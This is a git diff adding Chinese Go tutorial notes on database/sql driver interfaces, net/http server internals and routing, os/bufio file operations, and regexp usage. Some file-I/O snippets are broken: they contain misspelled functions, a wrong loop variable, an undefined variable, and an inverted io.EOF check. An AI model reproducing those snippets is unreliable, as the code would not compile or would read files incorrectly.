#### 1.1 接口介绍
|
||||
|
||||
Go官方没有提供数据库驱动,而是为开发数据库驱动定义了一些标准接口,开发者可以根据定义的接口来开发相应的数据库驱动,这样做的好处是:框架迁移极其方便。
|
||||
|
||||
Go数据库标准包位于以下两个包中:
|
||||
- database/sql:提供了保证SQL或类SQL数据库的泛用接口
|
||||
- database/sql/driver:定义了应被数据库驱动实现的接口,这些接口会被sql包使用
|
||||
|
||||
#### 1.2 sql.Register
|
||||
sql.Register位于database/sql,用来注册数据库驱动当第三方开发者开发数据库驱动时,都会实现init函数,在init里面会调用这个`Register(name string, driver driver.Driver)`完成本驱动的注册。
|
||||
|
||||
我们来看一下mysql、sqlite3的驱动里面都是怎么调用的:
|
||||
```Go
|
||||
|
||||
//https://github.com/mattn/go-sqlite3驱动
|
||||
func init() {
|
||||
sql.Register("sqlite3", &SQLiteDriver{})
|
||||
}
|
||||
|
||||
//https://github.com/mikespook/mymysql驱动
|
||||
// Driver automatically registered in database/sql
|
||||
var d = Driver{proto: "tcp", raddr: "127.0.0.1:3306"}
|
||||
func init() {
|
||||
Register("SET NAMES utf8")
|
||||
sql.Register("mymysql", &d)
|
||||
}
|
||||
```
|
||||
我们看到第三方数据库驱动都是通过调用这个函数来注册自己的数据库驱动名称以及相应的driver实现。在database/sql内部通过一个map来存储用户定义的相应驱动。
|
||||
```Go
|
||||
|
||||
var drivers = make(map[string]driver.Driver)
|
||||
|
||||
drivers[name] = driver
|
||||
```
|
||||
因此通过database/sql的注册函数可以同时注册多个数据库驱动,只要不重复。
|
||||
|
||||
>在我们使用database/sql接口和第三方库的时候经常看到如下:
|
||||
|
||||
> import (
|
||||
> "database/sql"
|
||||
> _ "github.com/mattn/go-sqlite3"
|
||||
> )
|
||||
|
||||
>新手都会被这个`_`所迷惑,其实这个就是Go设计的巧妙之处,我们在变量赋值的时候经常看到这个符号,它是用来忽略变量赋值的占位符,那么包引入用到这个符号也是相似的作用,这儿使用`_`的意思是引入后面的包名而不直接使用这个包中定义的函数,变量等资源。
|
||||
|
||||
>我们在2.3节流程和函数一节中介绍过init函数的初始化过程,包在引入的时候会自动调用包的init函数以完成对包的初始化。因此,我们引入上面的数据库驱动包之后会自动去调用init函数,然后在init函数里面注册这个数据库驱动,这样我们就可以在接下来的代码中直接使用这个数据库驱动了。
|
||||
|
||||
#### 1.3 driver.Driver
|
||||
Driver是一个数据库驱动的接口,他定义了一个method: Open(name string),这个方法返回一个数据库的Conn接口。
|
||||
```Go
|
||||
|
||||
type Driver interface {
|
||||
Open(name string) (Conn, error)
|
||||
}
|
||||
```
|
||||
返回的Conn只能用来进行一次goroutine的操作,也就是说不能把这个Conn应用于Go的多个goroutine里面。如下代码会出现错误
|
||||
```Go
|
||||
|
||||
...
|
||||
go goroutineA (Conn) //执行查询操作
|
||||
go goroutineB (Conn) //执行插入操作
|
||||
...
|
||||
```
|
||||
上面这样的代码可能会使Go不知道某个操作究竟是由哪个goroutine发起的,从而导致数据混乱,比如可能会把goroutineA里面执行的查询操作的结果返回给goroutineB从而使B错误地把此结果当成自己执行的插入数据。
|
||||
|
||||
第三方驱动都会定义这个函数,它会解析name参数来获取相关数据库的连接信息,解析完成后,它将使用此信息来初始化一个Conn并返回它。
|
||||
|
||||
#### 1.4 driver.Conn
|
||||
Conn是一个数据库连接的接口定义,他定义了一系列方法,这个Conn只能应用在一个goroutine里面,不能使用在多个goroutine里面,详情请参考上面的说明。
|
||||
```Go
|
||||
|
||||
type Conn interface {
|
||||
Prepare(query string) (Stmt, error)
|
||||
Close() error
|
||||
Begin() (Tx, error)
|
||||
}
|
||||
```
|
||||
Prepare函数返回与当前连接相关的执行Sql语句的准备状态,可以进行查询、删除等操作。
|
||||
|
||||
Close函数关闭当前的连接,执行释放连接拥有的资源等清理工作。因为驱动实现了database/sql里面建议的conn pool,所以你不用再去实现缓存conn之类的,这样会容易引起问题。
|
||||
|
||||
Begin函数返回一个代表事务处理的Tx,通过它你可以进行查询,更新等操作,或者对事务进行回滚、递交。
|
||||
|
||||
#### 1.5 driver.Stmt
|
||||
Stmt是一种准备好的状态,和Conn相关联,而且只能应用于一个goroutine中,不能应用于多个goroutine。
|
||||
```Go
|
||||
|
||||
type Stmt interface {
|
||||
Close() error
|
||||
NumInput() int
|
||||
Exec(args []Value) (Result, error)
|
||||
Query(args []Value) (Rows, error)
|
||||
}
|
||||
```
|
||||
Close函数关闭当前的链接状态,但是如果当前正在执行query,query还是有效返回rows数据。
|
||||
|
||||
NumInput函数返回当前预留参数的个数,当返回>=0时数据库驱动就会智能检查调用者的参数。当数据库驱动包不知道预留参数的时候,返回-1。
|
||||
|
||||
Exec函数执行Prepare准备好的sql,传入参数执行update/insert等操作,返回Result数据
|
||||
|
||||
Query函数执行Prepare准备好的sql,传入需要的参数执行select操作,返回Rows结果集
|
||||
|
||||
|
||||
#### 1.6 driver.Tx
|
||||
事务处理一般就两个过程,递交或者回滚。数据库驱动里面也只需要实现这两个函数就可以
|
||||
```Go
|
||||
|
||||
type Tx interface {
|
||||
Commit() error
|
||||
Rollback() error
|
||||
}
|
||||
```
|
||||
这两个函数一个用来递交一个事务,一个用来回滚事务。
|
||||
|
||||
#### 1.7 driver.Execer
|
||||
这是一个Conn可选择实现的接口
|
||||
```Go
|
||||
|
||||
type Execer interface {
|
||||
Exec(query string, args []Value) (Result, error)
|
||||
}
|
||||
```
|
||||
如果这个接口没有定义,那么在调用DB.Exec,就会首先调用Prepare返回Stmt,然后执行Stmt的Exec,然后关闭Stmt。
|
||||
|
||||
#### 1.8 driver.Result
|
||||
这个是执行Update/Insert等操作返回的结果接口定义
|
||||
```Go
|
||||
|
||||
type Result interface {
|
||||
LastInsertId() (int64, error)
|
||||
RowsAffected() (int64, error)
|
||||
}
|
||||
```
|
||||
LastInsertId函数返回由数据库执行插入操作得到的自增ID号。
|
||||
|
||||
RowsAffected函数返回query操作影响的数据条目数。
|
||||
|
||||
#### 1.9 driver.Rows
|
||||
Rows是执行查询返回的结果集接口定义
|
||||
```Go
|
||||
|
||||
type Rows interface {
|
||||
Columns() []string
|
||||
Close() error
|
||||
Next(dest []Value) error
|
||||
}
|
||||
```
|
||||
Columns函数返回查询数据库表的字段信息,这个返回的slice和sql查询的字段一一对应,而不是返回整个表的所有字段。
|
||||
|
||||
Close函数用来关闭Rows迭代器。
|
||||
|
||||
Next函数用来返回下一条数据,把数据赋值给dest。dest里面的元素必须是driver.Value的值除了string,返回的数据里面所有的string都必须要转换成[]byte。如果最后没数据了,Next函数最后返回io.EOF。
|
||||
|
||||
|
||||
#### 1.10 driver.RowsAffected
|
||||
RowsAffected其实就是一个int64的别名,但是他实现了Result接口,用来底层实现Result的表示方式
|
||||
```Go
|
||||
|
||||
type RowsAffected int64
|
||||
|
||||
func (RowsAffected) LastInsertId() (int64, error)
|
||||
|
||||
func (v RowsAffected) RowsAffected() (int64, error)
|
||||
```
|
||||
#### 1.11 driver.Value
|
||||
Value其实就是一个空接口,他可以容纳任何的数据
|
||||
```Go
|
||||
|
||||
type Value interface{}
|
||||
```
|
||||
drive的Value是驱动必须能够操作的Value,Value要么是nil,要么是下面的任意一种
|
||||
```Go
|
||||
|
||||
int64
|
||||
float64
|
||||
bool
|
||||
[]byte
|
||||
string [*]除了Rows.Next返回的不能是string.
|
||||
time.Time
|
||||
```
|
||||
#### 1.12 driver.ValueConverter
|
||||
ValueConverter接口定义了如何把一个普通的值转化成driver.Value的接口
|
||||
```Go
|
||||
|
||||
type ValueConverter interface {
|
||||
ConvertValue(v interface{}) (Value, error)
|
||||
}
|
||||
```
|
||||
在开发的数据库驱动包里面实现这个接口的函数在很多地方会使用到,这个ValueConverter有很多好处:
|
||||
|
||||
- 转化driver.value到数据库表相应的字段,例如int64的数据如何转化成数据库表uint16字段
|
||||
- 把数据库查询结果转化成driver.Value值
|
||||
- 在scan函数里面如何把driver.Value值转化成用户定义的值
|
||||
|
||||
#### 1.13 driver.Valuer
|
||||
Valuer接口定义了返回一个driver.Value的方式
|
||||
```Go
|
||||
|
||||
type Valuer interface {
|
||||
Value() (Value, error)
|
||||
}
|
||||
```
|
||||
很多类型都实现了这个Value方法,用来自身与driver.Value的转化。
|
||||
|
||||
通过上面的讲解,你应该对于驱动的开发有了一个基本的了解,一个驱动只要实现了这些接口就能完成增删查改等基本操作了,剩下的就是与相应的数据库进行数据交互等细节问题了,在此不再赘述。
|
||||
|
||||
#### 1.14 database/sql
|
||||
database/sql在database/sql/driver提供的接口基础上定义了一些更高阶的方法,用以简化数据库操作,同时内部还建议性地实现一个conn pool。
|
||||
```Go
|
||||
|
||||
type DB struct {
|
||||
driver driver.Driver
|
||||
dsn string
|
||||
mu sync.Mutex // protects freeConn and closed
|
||||
freeConn []driver.Conn
|
||||
closed bool
|
||||
}
|
||||
```
|
||||
我们可以看到Open函数返回的是DB对象,里面有一个freeConn,它就是那个简易的连接池。它的实现相当简单或者说简陋,就是当执行`db.prepare` -> `db.prepareDC`的时候会`defer dc.releaseConn`,然后调用`db.putConn`,也就是把这个连接放入连接池,每次调用`db.conn`的时候会先判断freeConn的长度是否大于0,大于0说明有可以复用的conn,直接拿出来用就是了,如果不大于0,则创建一个conn,然后再返回之。
|
243
07-标准库/http.md
Normal file
243
07-标准库/http.md
Normal file
@ -0,0 +1,243 @@
|
||||
## 一 http包运行机制
|
||||
|
||||
![](../images/go/net-01.png)
|
||||
|
||||
服务端的几个概念:
|
||||
```
|
||||
Request:用户请求的信息,用来解析用户的请求信息,包括post、get、cookie、url等信息
|
||||
Response:服务器需要反馈给客户端的信息
|
||||
Conn:用户的每次请求链接
|
||||
Handler:处理请求和生成返回信息的处理逻辑
|
||||
```
|
||||
|
||||
http包执行流程:
|
||||
- 1.创建Listen Socket, 监听指定的端口, 等待客户端请求到来。
|
||||
- 2.Listen Socket接受客户端的请求, 得到Client Socket, 接下来通过Client Socket与客户端通信。
|
||||
- 3.处理客户端的请求:首先从Client Socket读取HTTP请求的协议头, 如果是POST方法, 还可能要读取客户端提交的数据, 然后交给相应的handler处理请求, handler处理完毕准备好客户端需要的数据, 通过Client Socket写给客户端。
|
||||
|
||||
Go是通过一个函数`ListenAndServe`来处理这些事情的,这个底层其实这样处理的:初始化一个server对象,然后调用了`net.Listen("tcp", addr)`,也就是底层用TCP协议搭建了一个服务,然后监控我们设置的端口。
|
||||
|
||||
源码如下:
|
||||
```Go
|
||||
func (srv *Server) Serve(l net.Listener) error {
|
||||
defer l.Close()
|
||||
var tempDelay time.Duration // how long to sleep on accept failure
|
||||
for {
|
||||
rw, e := l.Accept()
|
||||
if e != nil {
|
||||
if ne, ok := e.(net.Error); ok && ne.Temporary() {
|
||||
if tempDelay == 0 {
|
||||
tempDelay = 5 * time.Millisecond
|
||||
} else {
|
||||
tempDelay *= 2
|
||||
}
|
||||
if max := 1 * time.Second; tempDelay > max {
|
||||
tempDelay = max
|
||||
}
|
||||
log.Printf("http: Accept error: %v; retrying in %v", e, tempDelay)
|
||||
time.Sleep(tempDelay)
|
||||
continue
|
||||
}
|
||||
return e
|
||||
}
|
||||
tempDelay = 0
|
||||
c, err := srv.newConn(rw)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
go c.serve()
|
||||
}
|
||||
}
|
||||
```
|
||||
监控之后如何接收客户端的请求呢?上面代码执行监控端口之后,调用了`srv.Serve(net.Listener)`函数,这个函数就是处理接收客户端的请求信息。这个函数里面起了一个`for{}`,首先通过Listener接收请求,其次创建一个Conn,最后单独开了一个goroutine,把这个请求的数据当做参数扔给这个conn去服务:`go c.serve()`。这个就是高并发体现了,用户的每一次请求都是在一个新的goroutine去服务,相互不影响。
|
||||
|
||||
那么如何具体分配到相应的函数来处理请求呢?conn首先会解析request:`c.readRequest()`,然后获取相应的handler:`handler := c.server.Handler`,也就是我们刚才在调用函数`ListenAndServe`时候的第二个参数,我们前面例子传递的是nil,也就是为空,那么默认获取`handler = DefaultServeMux`,那么这个变量用来做什么的呢?对,这个变量就是一个路由器,它用来匹配url跳转到其相应的handle函数,那么这个我们有设置过吗?有,我们调用的代码里面第一句不是调用了`http.HandleFunc("/", sayhelloName)`嘛。这个作用就是注册了请求`/`的路由规则,当请求uri为"/",路由就会转到函数sayhelloName,DefaultServeMux会调用ServeHTTP方法,这个方法内部其实就是调用sayhelloName本身,最后通过写入response的信息反馈到客户端。
|
||||
![](../images/go/net-02.png)
|
||||
|
||||
## 二 http包详解
|
||||
|
||||
Go的http有两个核心功能:Conn、ServeMux。
|
||||
|
||||
与我们一般编写的http服务器不同, Go为了实现高并发和高性能, 使用了goroutines来处理Conn的读写事件, 这样每个请求都能保持独立,相互不会阻塞,可以高效的响应网络事件。这是Go高效的保证。
|
||||
|
||||
Go在等待客户端请求里面是这样写的:
|
||||
```Go
|
||||
|
||||
c, err := srv.newConn(rw)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
go c.serve()
|
||||
|
||||
```
|
||||
这里我们可以看到客户端的每次请求都会创建一个Conn,这个Conn里面保存了该次请求的信息,然后再传递到对应的handler,该handler中便可以读取到相应的header信息,这样保证了每个请求的独立性。
|
||||
|
||||
conn.server内部是调用了http包默认的路由器,通过路由器把本次请求的信息传递到了后端的处理函数。那么这个路由器是怎么实现的呢?
|
||||
|
||||
它的结构如下:
|
||||
```Go
|
||||
|
||||
type ServeMux struct {
|
||||
mu sync.RWMutex //锁,由于请求涉及到并发处理,因此这里需要一个锁机制
|
||||
m map[string]muxEntry // 路由规则,一个string对应一个mux实体,这里的string就是注册的路由表达式
|
||||
hosts bool // 是否在任意的规则中带有host信息
|
||||
}
|
||||
|
||||
```
|
||||
下面看一下muxEntry
|
||||
```Go
|
||||
|
||||
type muxEntry struct {
|
||||
explicit bool // 是否精确匹配
|
||||
h Handler // 这个路由表达式对应哪个handler
|
||||
pattern string //匹配字符串
|
||||
}
|
||||
|
||||
```
|
||||
接着看一下Handler的定义
|
||||
```Go
|
||||
|
||||
type Handler interface {
|
||||
ServeHTTP(ResponseWriter, *Request) // 路由实现器
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
Handler是一个接口,在http包里面还定义了一个类型`HandlerFunc`,默认就实现了ServeHTTP这个接口,即我们调用了HandlerFunc(f)
|
||||
|
||||
```Go
|
||||
|
||||
type HandlerFunc func(ResponseWriter, *Request)
|
||||
|
||||
// ServeHTTP calls f(w, r).
|
||||
func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) {
|
||||
f(w, r)
|
||||
}
|
||||
```
|
||||
|
||||
路由器里面存储好了相应的路由规则之后,那么具体的请求又是怎么分发的呢?请看下面的代码,默认的路由器实现了`ServeHTTP`:
|
||||
|
||||
```Go
|
||||
|
||||
func (mux *ServeMux) ServeHTTP(w ResponseWriter, r *Request) {
|
||||
if r.RequestURI == "*" {
|
||||
w.Header().Set("Connection", "close")
|
||||
w.WriteHeader(StatusBadRequest)
|
||||
return
|
||||
}
|
||||
h, _ := mux.Handler(r)
|
||||
h.ServeHTTP(w, r)
|
||||
}
|
||||
```
|
||||
如上所示路由器接收到请求之后,如果是`*`那么关闭链接,不然调用`mux.Handler(r)`返回对应设置路由的处理Handler,然后执行`h.ServeHTTP(w, r)`
|
||||
|
||||
也就是调用对应路由的handler的ServerHTTP接口,那么mux.Handler(r)怎么处理的呢?
|
||||
```Go
|
||||
|
||||
func (mux *ServeMux) Handler(r *Request) (h Handler, pattern string) {
|
||||
if r.Method != "CONNECT" {
|
||||
if p := cleanPath(r.URL.Path); p != r.URL.Path {
|
||||
_, pattern = mux.handler(r.Host, p)
|
||||
return RedirectHandler(p, StatusMovedPermanently), pattern
|
||||
}
|
||||
}
|
||||
return mux.handler(r.Host, r.URL.Path)
|
||||
}
|
||||
|
||||
func (mux *ServeMux) handler(host, path string) (h Handler, pattern string) {
|
||||
mux.mu.RLock()
|
||||
defer mux.mu.RUnlock()
|
||||
|
||||
// Host-specific pattern takes precedence over generic ones
|
||||
if mux.hosts {
|
||||
h, pattern = mux.match(host + path)
|
||||
}
|
||||
if h == nil {
|
||||
h, pattern = mux.match(path)
|
||||
}
|
||||
if h == nil {
|
||||
h, pattern = NotFoundHandler(), ""
|
||||
}
|
||||
return
|
||||
}
|
||||
```
|
||||
原来他是根据用户请求的URL和路由器里面存储的map去匹配的,当匹配到之后返回存储的handler,调用这个handler的ServeHTTP接口就可以执行到相应的函数了。
|
||||
|
||||
通过上面这个介绍,我们了解了整个路由过程,Go其实支持外部实现的路由器 `ListenAndServe`的第二个参数就是用以配置外部路由器的,它是一个Handler接口,即外部路由器只要实现了Handler接口就可以,我们可以在自己实现的路由器的ServeHTTP里面实现自定义路由功能。
|
||||
|
||||
如下代码所示,我们自己实现了一个简易的路由器
|
||||
```Go
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/http"
|
||||
)
|
||||
|
||||
type MyMux struct {
|
||||
}
|
||||
|
||||
func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Path == "/" {
|
||||
sayhelloName(w, r)
|
||||
return
|
||||
}
|
||||
http.NotFound(w, r)
|
||||
return
|
||||
}
|
||||
|
||||
func sayhelloName(w http.ResponseWriter, r *http.Request) {
|
||||
fmt.Fprintf(w, "Hello myroute!")
|
||||
}
|
||||
|
||||
func main() {
|
||||
mux := &MyMux{}
|
||||
http.ListenAndServe(":9090", mux)
|
||||
}
|
||||
```
|
||||
Go代码执行流程梳理:
|
||||
|
||||
- 首先调用Http.HandleFunc
|
||||
|
||||
按顺序做了几件事:
|
||||
|
||||
1 调用了DefaultServeMux的HandleFunc
|
||||
|
||||
2 调用了DefaultServeMux的Handle
|
||||
|
||||
3 往DefaultServeMux的map[string]muxEntry中增加对应的handler和路由规则
|
||||
|
||||
- 其次调用http.ListenAndServe(":9090", nil)
|
||||
|
||||
按顺序做了几件事情:
|
||||
|
||||
1 实例化Server
|
||||
|
||||
2 调用Server的ListenAndServe()
|
||||
|
||||
3 调用net.Listen("tcp", addr)监听端口
|
||||
|
||||
4 启动一个for循环,在循环体中Accept请求
|
||||
|
||||
5 对每个请求实例化一个Conn,并且开启一个goroutine为这个请求进行服务go c.serve()
|
||||
|
||||
6 读取每个请求的内容w, err := c.readRequest()
|
||||
|
||||
7 判断handler是否为空,如果没有设置handler(这个例子就没有设置handler),handler就设置为DefaultServeMux
|
||||
|
||||
8 调用handler的ServeHttp
|
||||
|
||||
9 在这个例子中,下面就进入到DefaultServeMux.ServeHttp
|
||||
|
||||
10 根据request选择handler,并且进入到这个handler的ServeHTTP
|
||||
|
||||
mux.handler(r).ServeHTTP(w, r)
|
||||
|
||||
11 选择handler:
|
||||
|
||||
A 判断是否有路由能满足这个request(循环遍历ServeMux的muxEntry)
|
||||
|
||||
B 如果有路由满足,调用这个路由handler的ServeHTTP
|
||||
|
||||
C 如果没有路由满足,调用NotFoundHandler的ServeHTTP
|
192
07-标准库/io.md
Normal file
192
07-标准库/io.md
Normal file
@ -0,0 +1,192 @@
|
||||
## 一 文件操作
|
||||
|
||||
#### 1.1 目录操作
|
||||
|
||||
文件操作的大多数函数都是在os包里面,下面列举了几个目录操作的:
|
||||
|
||||
- func Mkdir(name string, perm FileMode) error
|
||||
|
||||
创建名称为name的目录,权限设置是perm,例如0777
|
||||
|
||||
- func MkdirAll(path string, perm FileMode) error
|
||||
|
||||
根据path创建多级子目录
|
||||
|
||||
- func Remove(name string) error
|
||||
|
||||
删除名称为name的目录,当目录下有文件或者其他目录时会出错
|
||||
|
||||
- func RemoveAll(path string) error
|
||||
|
||||
根据path删除多级子目录,如果path是单个名称,那么该目录下的子目录全部删除。
|
||||
|
||||
实例:
|
||||
```Go
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
)
|
||||
|
||||
func main() {
|
||||
os.Mkdir("test", 0777)
|
||||
os.MkdirAll("test/test1/test2", 0777)
|
||||
err := os.Remove("test")
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
os.RemoveAll("test")
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
#### 1.2 新建文件
|
||||
|
||||
新建文件可以通过如下两个方法
|
||||
|
||||
- func Create(name string) (file *File, err Error)
|
||||
|
||||
根据提供的文件名创建新的文件,返回一个文件对象,默认权限是0666的文件,返回的文件对象是可读写的。
|
||||
|
||||
- func NewFile(fd uintptr, name string) *File
|
||||
|
||||
根据文件描述符创建相应的文件,返回一个文件对象
|
||||
|
||||
|
||||
#### 1.3 打开文件
|
||||
|
||||
- func Open(name string) (file *File, err Error)
|
||||
|
||||
该方法打开一个名称为name的文件,但是是只读方式,内部实现其实调用了OpenFile。
|
||||
|
||||
- func OpenFile(name string, flag int, perm uint32) (file *File, err Error)
|
||||
|
||||
打开名称为name的文件,flag是打开的方式,只读、读写等,perm是权限
|
||||
|
||||
#### 1.4 写文件
|
||||
写文件函数:
|
||||
|
||||
- func (file *File) Write(b []byte) (n int, err Error)
|
||||
|
||||
写入byte类型的信息到文件
|
||||
|
||||
- func (file *File) WriteAt(b []byte, off int64) (n int, err Error)
|
||||
|
||||
在指定位置开始写入byte类型的信息
|
||||
|
||||
- func (file *File) WriteString(s string) (ret int, err Error)
|
||||
|
||||
写入string信息到文件
|
||||
|
||||
写文件的示例代码
|
||||
```Go
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
)
|
||||
|
||||
func main() {
|
||||
userFile := "test.txt"
|
||||
fout, err := os.Create(userFile)
|
||||
if err != nil {
|
||||
fmt.Println(userFile, err)
|
||||
return
|
||||
}
|
||||
defer fout.Close()
|
||||
for i := 0; i < 10; i++ {
|
||||
fout.WriteString("Just a test!\r\n")
|
||||
fout.Write([]byte("Just a test!\r\n"))
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
带缓冲的写入:
|
||||
```go
|
||||
file, err := os.Openfile(path, O_WRONLY | O_CREATE, 0666)
|
||||
if err != nil {
|
||||
fmt.Printf("%v", err)
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
writer := bufio.NewWriter(file)
|
||||
for l := 0; i < 5; i++ {
|
||||
writer.Writetring("hello\n")
|
||||
}
|
||||
|
||||
writer.Flush()
|
||||
```
|
||||
#### 1.5 读文件
|
||||
读文件函数:
|
||||
|
||||
- func (file *File) Read(b []byte) (n int, err Error)
|
||||
|
||||
读取数据到b中
|
||||
|
||||
- func (file *File) ReadAt(b []byte, off int64) (n int, err Error)
|
||||
|
||||
从off开始读取数据到b中
|
||||
|
||||
读文件的示例代码:
|
||||
```Go
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
)
|
||||
|
||||
func main() {
|
||||
userFile := "test.txt"
|
||||
fl, err := os.Open(userFile)
|
||||
if err != nil {
|
||||
fmt.Println(userFile, err)
|
||||
return
|
||||
}
|
||||
defer fl.Close() //当程序退出时,defer,需要关闭文件,否则容易产生内存泄漏
|
||||
buf := make([]byte, 1024)
|
||||
for {
|
||||
n, _ := fl.Read(buf)
|
||||
if 0 == n {
|
||||
break
|
||||
}
|
||||
os.Stdout.Write(buf[:n])
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
带缓冲的大文件读取:
|
||||
```go
|
||||
userFile := "test.txt"
|
||||
fl, err := os.Open(userFile)
|
||||
if err != nil {
|
||||
fmt.Println(userFile, err)
|
||||
return
|
||||
}
|
||||
defer fl.Close()
|
||||
|
||||
reader := bufio.NewReader(file)
|
||||
for {
|
||||
str, err := reader.ReadString("\n") //读到换行就结束一次
|
||||
if err != io.EOF { //io.EOF表示问价末尾
|
||||
break
|
||||
}
|
||||
//输出内容
|
||||
fmt.Print(str)
|
||||
}
|
||||
|
||||
```
|
||||
一次性读取小型文件到内存中,该方法内部封装了open和close:
|
||||
```
|
||||
file := "d:/test.txt"
|
||||
content, err := ioutil.ReadFile(file)
|
||||
if err != nil {
|
||||
fmt.Printf("%v",err)
|
||||
}
|
||||
fmt.Prinf("%v",string(content))
|
||||
```
|
237
07-标准库/regexp.md
Normal file
237
07-标准库/regexp.md
Normal file
@ -0,0 +1,237 @@
|
||||
## 通过正则判断是否匹配
|
||||
|
||||
`regexp`包中含有三个函数用来判断是否匹配,如果匹配返回true,否则返回false
|
||||
```Go
|
||||
|
||||
func Match(pattern string, b []byte) (matched bool, error error)
|
||||
func MatchReader(pattern string, r io.RuneReader) (matched bool, error error)
|
||||
func MatchString(pattern string, s string) (matched bool, error error)
|
||||
|
||||
```
|
||||
上面的三个函数实现了同一个功能,就是判断`pattern`是否和输入源匹配,匹配的话就返回true,如果解析正则出错则返回error。三个函数的输入源分别是byte slice、RuneReader和string。
|
||||
|
||||
如果要验证一个输入是不是IP地址,那么如何来判断呢?请看如下实现
|
||||
```Go
|
||||
|
||||
func IsIP(ip string) (b bool) {
|
||||
if m, _ := regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$", ip); !m {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
```
|
||||
可以看到,`regexp`的pattern和我们平常使用的正则一模一样。再来看一个例子:当用户输入一个字符串,我们想知道是不是一次合法的输入:
|
||||
```Go
|
||||
|
||||
func main() {
|
||||
if len(os.Args) == 1 {
|
||||
fmt.Println("Usage: regexp [string]")
|
||||
os.Exit(1)
|
||||
} else if m, _ := regexp.MatchString("^[0-9]+$", os.Args[1]); m {
|
||||
fmt.Println("数字")
|
||||
} else {
|
||||
fmt.Println("不是数字")
|
||||
}
|
||||
}
|
||||
```
|
||||
在上面的两个小例子中,我们采用了Match(Reader|String)来判断一些字符串是否符合我们的描述需求,它们使用起来非常方便。
|
||||
|
||||
## 通过正则获取内容
|
||||
|
||||
Match模式只能用来对字符串的判断,而无法截取字符串的一部分、过滤字符串、或者提取出符合条件的一批字符串。如果想要满足这些需求,那就需要使用正则表达式的复杂模式。
|
||||
|
||||
我们经常需要一些爬虫程序,下面就以爬虫为例来说明如何使用正则来过滤或截取抓取到的数据:
|
||||
```Go
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func main() {
|
||||
resp, err := http.Get("http://www.baidu.com")
|
||||
if err != nil {
|
||||
fmt.Println("http get error.")
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
fmt.Println("http read error")
|
||||
return
|
||||
}
|
||||
|
||||
src := string(body)
|
||||
|
||||
//将HTML标签全转换成小写
|
||||
re, _ := regexp.Compile("\\<[\\S\\s]+?\\>")
|
||||
src = re.ReplaceAllStringFunc(src, strings.ToLower)
|
||||
|
||||
//去除STYLE
|
||||
re, _ = regexp.Compile("\\<style[\\S\\s]+?\\</style\\>")
|
||||
src = re.ReplaceAllString(src, "")
|
||||
|
||||
//去除SCRIPT
|
||||
re, _ = regexp.Compile("\\<script[\\S\\s]+?\\</script\\>")
|
||||
src = re.ReplaceAllString(src, "")
|
||||
|
||||
//去除所有尖括号内的HTML代码,并换成换行符
|
||||
re, _ = regexp.Compile("\\<[\\S\\s]+?\\>")
|
||||
src = re.ReplaceAllString(src, "\n")
|
||||
|
||||
//去除连续的换行符
|
||||
re, _ = regexp.Compile("\\s{2,}")
|
||||
src = re.ReplaceAllString(src, "\n")
|
||||
|
||||
fmt.Println(strings.TrimSpace(src))
|
||||
}
|
||||
|
||||
```
|
||||
从这个示例可以看出,使用复杂的正则首先是Compile,它会解析正则表达式是否合法,如果正确,那么就会返回一个Regexp,然后就可以利用返回的Regexp在任意的字符串上面执行需要的操作。
|
||||
|
||||
解析正则表达式的有如下几个方法:
|
||||
```Go
|
||||
|
||||
func Compile(expr string) (*Regexp, error)
|
||||
func CompilePOSIX(expr string) (*Regexp, error)
|
||||
func MustCompile(str string) *Regexp
|
||||
func MustCompilePOSIX(str string) *Regexp
|
||||
```
|
||||
CompilePOSIX和Compile的不同点在于POSIX必须使用POSIX语法,它使用最左最长方式搜索,而Compile是采用的则只采用最左方式搜索(例如[a-z]{2,4}这样一个正则表达式,应用于"aa09aaa88aaaa"这个文本串时,CompilePOSIX返回了aaaa,而Compile的返回的是aa)。前缀有Must的函数表示,在解析正则语法的时候,如果匹配模式串不满足正确的语法则直接panic,而不加Must的则只是返回错误。
|
||||
|
||||
在了解了如何新建一个Regexp之后,我们再来看一下这个struct提供了哪些方法来辅助我们操作字符串,首先我们来看下面这些用来搜索的函数:
|
||||
```Go
|
||||
|
||||
func (re *Regexp) Find(b []byte) []byte
|
||||
func (re *Regexp) FindAll(b []byte, n int) [][]byte
|
||||
func (re *Regexp) FindAllIndex(b []byte, n int) [][]int
|
||||
func (re *Regexp) FindAllString(s string, n int) []string
|
||||
func (re *Regexp) FindAllStringIndex(s string, n int) [][]int
|
||||
func (re *Regexp) FindAllStringSubmatch(s string, n int) [][]string
|
||||
func (re *Regexp) FindAllStringSubmatchIndex(s string, n int) [][]int
|
||||
func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte
|
||||
func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int
|
||||
func (re *Regexp) FindIndex(b []byte) (loc []int)
|
||||
func (re *Regexp) FindReaderIndex(r io.RuneReader) (loc []int)
|
||||
func (re *Regexp) FindReaderSubmatchIndex(r io.RuneReader) []int
|
||||
func (re *Regexp) FindString(s string) string
|
||||
func (re *Regexp) FindStringIndex(s string) (loc []int)
|
||||
func (re *Regexp) FindStringSubmatch(s string) []string
|
||||
func (re *Regexp) FindStringSubmatchIndex(s string) []int
|
||||
